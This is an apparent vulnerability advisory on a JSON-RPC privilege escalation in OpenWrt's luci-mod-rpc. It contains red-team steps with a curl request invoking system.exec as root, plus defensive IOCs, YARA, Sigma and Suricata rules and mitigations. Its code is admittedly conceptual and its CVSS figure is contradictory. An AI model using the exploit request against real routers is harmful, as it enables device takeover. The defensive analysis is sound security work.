CVE-2024-51240

Executive Summary

CVE-2024-51240 is a privilege escalation vulnerability in the luci-mod-rpc package of OpenWrt LuCI LTS. The flaw allows an authenticated admin user to escalate privileges to root via the JSON-RPC API exposed by the package. This is a critical security issue as it breaks the intended privilege separation between admin and root accounts, potentially leading to full system compromise. The vulnerability is unpatched at the time of analysis, and no official fix has been released.

Supply Chain & Package Security

This vulnerability affects the OpenWrt ecosystem, specifically the luci-mod-rpc package which is part of the LuCI web interface. OpenWrt is a Linux-based operating system for embedded devices (routers, access points, etc.). The package is distributed through the official OpenWrt package repositories. Users should monitor for updates and consider manual mitigation until a patch is available.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned)

Threat Level: Critical (based on impact and exploitation potential)

Rationale: While no CVSS score is provided, the vulnerability allows privilege escalation from admin to root. Given that admin accounts are common in OpenWrt deployments, and the JSON-RPC API is a standard interface, the attack surface is significant. The lack of a patch increases the risk.

Deep Dive & Mechanics

The luci-mod-rpc package provides a JSON-RPC API for LuCI, the web interface of OpenWrt. This API is used for remote administration and configuration. The vulnerability lies in the API's handling of privileged operations. An authenticated admin user can craft JSON-RPC requests that bypass the intended privilege checks and execute commands or modify system files with root privileges.

Root Cause: The API does not properly validate the user's session or role when processing certain RPC methods. Specifically, methods that require root access (e.g., system configuration, package management) are not adequately protected, allowing an admin user to invoke them.

Attack Vector: The attacker must have a valid admin session (e.g., via the LuCI web interface). They then send crafted JSON-RPC requests to the API endpoint (typically /cgi-bin/luci/rpc or similar). The request includes a method that should be restricted to root, but the server processes it without proper authorization.

Impact: Full root access on the device. This allows the attacker to install malware, modify firmware, intercept network traffic, pivot to other devices on the network, and persist access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely lacks a privilege check in the RPC dispatcher. For example:

# Vulnerable: No privilege check
def handle_rpc_request(method, params):
    if method == "system.exec":
        return execute_command(params)
    # ... other methods

Patched Code (Hypothetical): A patched version would include a privilege check:

# Patched: Check user role
def handle_rpc_request(method, params, user_role):
    if method == "system.exec" and user_role != "root":
        return {"error": "Permission denied"}
    return execute_command(params)

Note: Since no official patch exists, this is a hypothetical fix. The actual patch may involve adding session validation or role-based access control to the RPC dispatcher.

Exploitation & Lab Setup

Red Team

Prerequisites:

• OpenWrt device with LuCI and luci-mod-rpc installed
• Valid admin credentials (e.g., admin:admin)
• Network access to the device's web interface

Exploitation Steps:

1. Authenticate to LuCI and obtain a session cookie.
2. Identify the RPC endpoint (typically /cgi-bin/luci/rpc).
3. Craft a JSON-RPC request to execute a command as root:

{
    "jsonrpc": "2.0",
    "method": "system.exec",
    "params": ["id > /tmp/pwned"],
    "id": 1
}

4. Send the request with the session cookie:

curl -X POST http://target/cgi-bin/luci/rpc \
  -H "Content-Type: application/json" \
  -H "Cookie: sysauth=YOUR_SESSION_COOKIE" \
  -d '{"jsonrpc":"2.0","method":"system.exec","params":["id > /tmp/pwned"],"id":1}'

5. Verify execution by checking the output file:

curl http://target/cgi-bin/luci/rpc \
  -H "Cookie: sysauth=YOUR_SESSION_COOKIE" \
  -d '{"jsonrpc":"2.0","method":"file.read","params":["/tmp/pwned"],"id":1}'

Expected Output: uid=0(root) gid=0(root)

Blue Team

Detection & Prevention:

1. Monitor RPC API logs for unusual method calls (e.g., system.exec, file.write).
2. Implement network segmentation to limit access to the LuCI interface.
3. Use strong admin passwords and enable two-factor authentication if available.
4. Apply the principle of least privilege – disable the luci-mod-rpc package if not needed.
5. Deploy a WAF to block suspicious JSON-RPC requests.

Honeypot Setup: Deploy a fake OpenWrt device with the vulnerable package and monitor for exploitation attempts. Log all RPC requests for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/luci/rpc with JSON-RPC payloads containing methods like system.exec, file.write, luci.packages.install
• Unusual command execution in RPC parameters (e.g., wget, curl, chmod, reboot)

Host IOCs:

• Unexpected files in /tmp/ created by RPC commands
• New processes spawned by luci user (e.g., sh, bash, python)
• Modified system binaries or configuration files
• Presence of backdoor accounts or SSH keys

Log IOCs:

• luci logs showing repeated RPC calls to privileged methods
• syslog entries with luci_rpc errors or warnings

Detection Engineering

YARA Rule

rule CVE_2024_51240_Exploit {
    meta:
        description = "Detects JSON-RPC exploit payloads for CVE-2024-51240"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51240"
    strings:
        $jsonrpc = "jsonrpc"
        $method = "method"
        $system_exec = "system.exec"
        $file_write = "file.write"
        $luci_packages = "luci.packages"
        $params = "params"
    condition:
        all of ($jsonrpc, $method, $params) and
        any of ($system_exec, $file_write, $luci_packages)
}

Sigma Rule

title: CVE-2024-51240 - Privilege Escalation via LuCI RPC
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-51240 via JSON-RPC API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: openwrt
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/rpc'
        cs-body|contains:
            - 'system.exec'
            - 'file.write'
            - 'luci.packages'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51240 - LuCI RPC Privilege Escalation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/luci/rpc"; http_uri;
    content:"system.exec"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-51240;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the luci-mod-rpc package if not required:

   opkg remove luci-mod-rpc
   

2. Restrict access to LuCI via firewall rules (allow only trusted IPs).
3. Change all admin passwords and review user accounts.

Long-term Fix:

• Monitor OpenWrt security advisories for an official patch.
• Apply the patch as soon as it is released.
• Consider using a custom build of OpenWrt with the vulnerability fixed.

Workaround:

• Implement a reverse proxy (e.g., nginx) in front of LuCI to filter RPC requests.
• Use iptables to block direct access to the RPC endpoint:

  iptables -A INPUT -p tcp --dport 80 -m string --string "/cgi-bin/luci/rpc" --algo bm -j DROP
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert